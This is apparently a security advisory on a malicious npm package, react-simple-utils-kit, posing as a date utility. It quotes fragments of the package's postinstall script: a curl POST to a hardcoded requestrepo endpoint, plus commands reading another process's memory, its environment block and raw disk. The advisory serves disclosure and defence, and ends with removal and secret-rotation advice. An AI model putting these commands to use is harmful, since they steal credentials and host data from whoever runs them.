MAL-2026-6303 Malicious code in react-simple-utils-kit (npm)
- Package
- react-simple-utils-kit
- Registry
- npm
What is MAL-2026-6303?
MAL-2026-6303 is a malicious package in react-simple-utils-kit, published on 23 Jun 2026.
Official description
Package advertises itself as 'a simple date formatting utility for React projects' (3-function index.js), but ships a postinstall.js that runs on every npm install and performs an extensive reconnaissance + credential-harvest sweep against the installer's host, POSTing each result over plain HTTP to a hardcoded attacker endpoint at http://2e3bkumw.requestrepo.com (a one-shot request-interception domain unrelated to any legitimate publisher). postinstall.js:8 hardcodes const BURL = 'http://2e3bkumw.requestrepo.com' and postinstall.js:16 invokes execSync(\curl -s -m 8 -X POST -d @${tmpFile} ${BURL}/${key}…`)to ship results. Collected data includes: process capabilities and ptrace scope, strace attach against PID 2, raw memory reads of another process viaxxd /proc/2/mem, that process's environment block via cat /proc/2/environ(commonly containing CI tokens and cloud credentials),/proc/2/cmdline, ps aux, listening-port enumeration, MCP probing on localhost:9000, and raw-disk reads from /dev/vdb. The package's name targets React developers via a date-utility cover story (empty author field, Chinese comment 绕过能力探测= 'capability-detection bypass'); none of this behavior is consistent with the advertised purpose. Installer harm is concrete and immediate: any host runningnpm install react-simple-utils-kit` leaks process-tree secrets, environment variables of other running processes, kernel/container introspection data, and raw block-device contents to attacker infrastructure.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
What should I do about MAL-2026-6303?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
Sources
Also known as GHSA-9p56-xfq3-77x5.